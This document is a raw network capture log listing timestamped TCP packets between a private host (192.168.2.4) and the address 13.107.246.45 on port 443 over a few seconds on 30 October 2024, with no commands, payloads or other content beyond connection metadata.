Oct 30, 2024 07:28:42.753573895 CET	50043	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.753608942 CET	443	50043	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.753722906 CET	50043	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.753890038 CET	50043	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.753901005 CET	443	50043	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.855967045 CET	443	50039	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.856033087 CET	443	50039	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.856307983 CET	50039	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.856355906 CET	50039	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.856373072 CET	443	50039	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.856386900 CET	50039	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.856393099 CET	443	50039	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.859510899 CET	50044	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.859553099 CET	443	50044	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.859632969 CET	50044	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.859793901 CET	50044	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.859805107 CET	443	50044	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.871283054 CET	443	50041	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.871736050 CET	50041	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.871764898 CET	443	50041	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.872183084 CET	50041	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.872188091 CET	443	50041	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.874988079 CET	443	50040	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.875296116 CET	50040	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.875305891 CET	443	50040	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.875608921 CET	50040	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.875612974 CET	443	50040	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.925510883 CET	443	50042	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.926126957 CET	50042	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.926140070 CET	443	50042	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.926574945 CET	50042	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.926579952 CET	443	50042	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.999437094 CET	443	50041	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.999521971 CET	443	50041	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.999689102 CET	50041	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.006117105 CET	443	50040	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.006146908 CET	443	50040	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.006192923 CET	443	50040	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.006267071 CET	50040	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.006284952 CET	50040	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.011075974 CET	50041	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.011099100 CET	443	50041	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.011113882 CET	50041	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.011118889 CET	443	50041	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.011338949 CET	50040	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.011358023 CET	443	50040	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.011368036 CET	50040	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.011374950 CET	443	50040	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.015789986 CET	50045	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.015836954 CET	443	50045	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.016791105 CET	50046	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.016839981 CET	443	50046	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.016908884 CET	50046	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.017162085 CET	50045	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.017406940 CET	50046	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.017419100 CET	443	50046	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.017683983 CET	50045	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.017704010 CET	443	50045	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.086939096 CET	443	50042	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.087296009 CET	443	50042	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.087363005 CET	50042	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.087407112 CET	50042	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.087414980 CET	443	50042	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.087429047 CET	50042	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.087433100 CET	443	50042	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.090583086 CET	50047	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.090624094 CET	443	50047	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.090703964 CET	50047	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.090893984 CET	50047	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.090907097 CET	443	50047	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.524204969 CET	443	50043	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.548145056 CET	50043	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.548166037 CET	443	50043	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.548446894 CET	50043	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.548456907 CET	443	50043	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.579384089 CET	443	50044	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.583204985 CET	50044	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.583230019 CET	443	50044	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.583544970 CET	50044	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.583549976 CET	443	50044	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.681209087 CET	443	50043	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.681246996 CET	443	50043	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.681294918 CET	50043	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.681310892 CET	443	50043	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.681406021 CET	50043	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.696479082 CET	50043	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.696479082 CET	50043	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.696496964 CET	443	50043	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.696506977 CET	443	50043	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.700398922 CET	50048	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.700438023 CET	443	50048	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.700510979 CET	50048	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.700973034 CET	50048	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.700984001 CET	443	50048	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.707643986 CET	443	50044	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.707710028 CET	443	50044	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.708017111 CET	50044	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.708069086 CET	50044	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.708085060 CET	443	50044	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.708095074 CET	50044	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.708100080 CET	443	50044	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.710555077 CET	50049	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.710582018 CET	443	50049	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.710647106 CET	50049	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.710761070 CET	50049	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.710779905 CET	443	50049	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.751874924 CET	443	50046	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.752367973 CET	50046	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.752382994 CET	443	50046	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.753140926 CET	50046	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.753144979 CET	443	50046	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.788100958 CET	443	50045	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.790365934 CET	50045	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.790366888 CET	50045	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.790394068 CET	443	50045	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.790416002 CET	443	50045	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.825062990 CET	443	50047	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.826984882 CET	50047	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.827004910 CET	443	50047	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.827934980 CET	50047	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.827945948 CET	443	50047	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.887047052 CET	443	50046	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.887078047 CET	443	50046	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.887126923 CET	443	50046	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.887185097 CET	50046	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.887511969 CET	50046	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.887526989 CET	443	50046	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.887542963 CET	50046	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.887548923 CET	443	50046	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.890949011 CET	50050	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.890981913 CET	443	50050	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.891097069 CET	50050	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.891297102 CET	50050	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.891305923 CET	443	50050	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.925297976 CET	443	50045	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.925370932 CET	443	50045	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.925796032 CET	50045	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.925796032 CET	50045	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.926410913 CET	50045	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.926429987 CET	443	50045	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.929279089 CET	50051	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.929316044 CET	443	50051	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.929420948 CET	50051	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.930793047 CET	50051	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.930809975 CET	443	50051	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.956778049 CET	443	50047	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.956882954 CET	443	50047	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.957161903 CET	50047	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.957163095 CET	50047	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.957292080 CET	50047	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.957310915 CET	443	50047	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.960654974 CET	50052	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.960705042 CET	443	50052	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:43.960784912 CET	50052	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.960926056 CET	50052	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:43.960936069 CET	443	50052	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.474714041 CET	443	50048	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.475512028 CET	50048	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:44.475528002 CET	443	50048	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.476164103 CET	50048	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:44.476170063 CET	443	50048	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.476859093 CET	443	50049	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.477138042 CET	50049	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:44.477159023 CET	443	50049	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.477616072 CET	50049	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:44.477623940 CET	443	50049	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.612301111 CET	443	50048	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.612487078 CET	443	50048	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.612658024 CET	50048	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:44.612710953 CET	50048	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:44.612726927 CET	443	50048	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.612740993 CET	50048	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:44.612747908 CET	443	50048	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.613040924 CET	443	50049	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.613126993 CET	443	50049	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.613163948 CET	443	50049	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.613193035 CET	50049	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:44.613368034 CET	50049	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:44.613368034 CET	50049	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:44.613413095 CET	50049	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:44.613429070 CET	443	50049	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.613640070 CET	443	50050	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.614063978 CET	50050	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:44.614078045 CET	443	50050	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.614634037 CET	50050	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:44.614640951 CET	443	50050	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.616321087 CET	50053	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:44.616358995 CET	443	50053	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.616364002 CET	50054	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:44.616415024 CET	443	50054	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.616471052 CET	50054	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:44.616590023 CET	50054	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:44.616601944 CET	443	50054	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.616733074 CET	50053	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:44.616733074 CET	50053	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:44.616760015 CET	443	50053	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.662151098 CET	443	50051	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.662683010 CET	50051	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:44.662703991 CET	443	50051	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.663306952 CET	50051	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:44.663338900 CET	443	50051	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.679861069 CET	443	50052	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.680301905 CET	50052	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:44.680320024 CET	443	50052	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.680879116 CET	50052	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:44.680886984 CET	443	50052	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.742985010 CET	443	50050	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.743068933 CET	443	50050	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.746279955 CET	50050	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:44.747287035 CET	50050	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:44.747304916 CET	443	50050	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.747328997 CET	50050	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:44.747334957 CET	443	50050	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.751816988 CET	50055	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:44.751854897 CET	443	50055	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.752198935 CET	50055	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:44.752574921 CET	50055	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:44.752589941 CET	443	50055	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.796519995 CET	443	50051	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.796550035 CET	443	50051	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.796595097 CET	443	50051	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.796664953 CET	50051	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:44.796835899 CET	50051	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:44.796864986 CET	443	50051	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.796962976 CET	50051	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:44.796972036 CET	443	50051	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.799995899 CET	50056	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:44.800046921 CET	443	50056	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.800122976 CET	50056	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:44.800267935 CET	50056	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:44.800281048 CET	443	50056	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.807681084 CET	443	50052	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.807811022 CET	443	50052	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.807905912 CET	50052	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:44.807939053 CET	50052	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:44.807955027 CET	443	50052	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.807965994 CET	50052	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:44.807972908 CET	443	50052	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.810765028 CET	50057	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:44.810801029 CET	443	50057	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:44.810911894 CET	50057	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:44.811079025 CET	50057	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:44.811091900 CET	443	50057	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.336479902 CET	443	50053	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.337203979 CET	50053	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:45.337218046 CET	443	50053	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.337718964 CET	50053	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:45.337724924 CET	443	50053	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.362360001 CET	443	50054	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.365015030 CET	50054	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:45.365032911 CET	443	50054	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.365411043 CET	50054	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:45.365416050 CET	443	50054	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.464684963 CET	443	50053	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.464756966 CET	443	50053	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.464963913 CET	50053	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:45.465061903 CET	50053	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:45.465078115 CET	443	50053	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.465090990 CET	50053	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:45.465096951 CET	443	50053	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.468252897 CET	50058	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:45.468297005 CET	443	50058	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.468374014 CET	50058	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:45.468528032 CET	50058	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:45.468539953 CET	443	50058	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.479878902 CET	443	50055	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.480397940 CET	50055	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:45.480412006 CET	443	50055	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.480885029 CET	50055	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:45.480892897 CET	443	50055	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.527007103 CET	443	50056	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.529228926 CET	50056	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:45.529253960 CET	443	50056	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.529669046 CET	50056	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:45.529675007 CET	443	50056	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.539923906 CET	443	50057	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.541197062 CET	50057	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:45.541214943 CET	443	50057	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.541774035 CET	50057	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:45.541785002 CET	443	50057	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.612026930 CET	443	50055	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.612056971 CET	443	50055	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.612098932 CET	443	50055	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.612112999 CET	50055	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:45.612142086 CET	50055	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:45.613333941 CET	50055	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:45.613353014 CET	443	50055	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.613363981 CET	50055	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:45.613370895 CET	443	50055	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.617955923 CET	50059	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:45.617991924 CET	443	50059	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.618063927 CET	50059	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:45.618196011 CET	50059	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:45.618207932 CET	443	50059	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.656056881 CET	443	50056	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.656151056 CET	443	50056	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.656213045 CET	50056	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:45.659985065 CET	50056	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:45.660007000 CET	443	50056	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.660022974 CET	50056	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:45.660027981 CET	443	50056	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.664537907 CET	50060	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:45.664572001 CET	443	50060	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.664695978 CET	50060	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:45.665092945 CET	50060	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:45.665102959 CET	443	50060	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.670059919 CET	443	50057	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.670085907 CET	443	50057	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.670123100 CET	443	50057	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.670147896 CET	50057	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:45.670175076 CET	50057	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:45.670353889 CET	50057	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:45.670371056 CET	443	50057	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.670381069 CET	50057	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:45.670388937 CET	443	50057	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.673846006 CET	50061	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:45.673877001 CET	443	50061	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.674004078 CET	50061	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:45.674280882 CET	50061	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:45.674292088 CET	443	50061	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.702192068 CET	443	50054	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.702275038 CET	443	50054	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.702339888 CET	50054	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:45.702965021 CET	50054	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:45.702985048 CET	443	50054	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.702999115 CET	50054	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:45.703005075 CET	443	50054	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.706688881 CET	50062	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:45.706717014 CET	443	50062	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:45.706773043 CET	50062	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:45.707271099 CET	50062	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:45.707278967 CET	443	50062	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.194967985 CET	443	50058	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.214158058 CET	50058	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:46.214169979 CET	443	50058	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.214591026 CET	50058	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:46.214595079 CET	443	50058	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.341526031 CET	443	50058	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.341628075 CET	443	50058	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:46.341859102 CET	50058	443	192.168.2.4	13.107.246.45
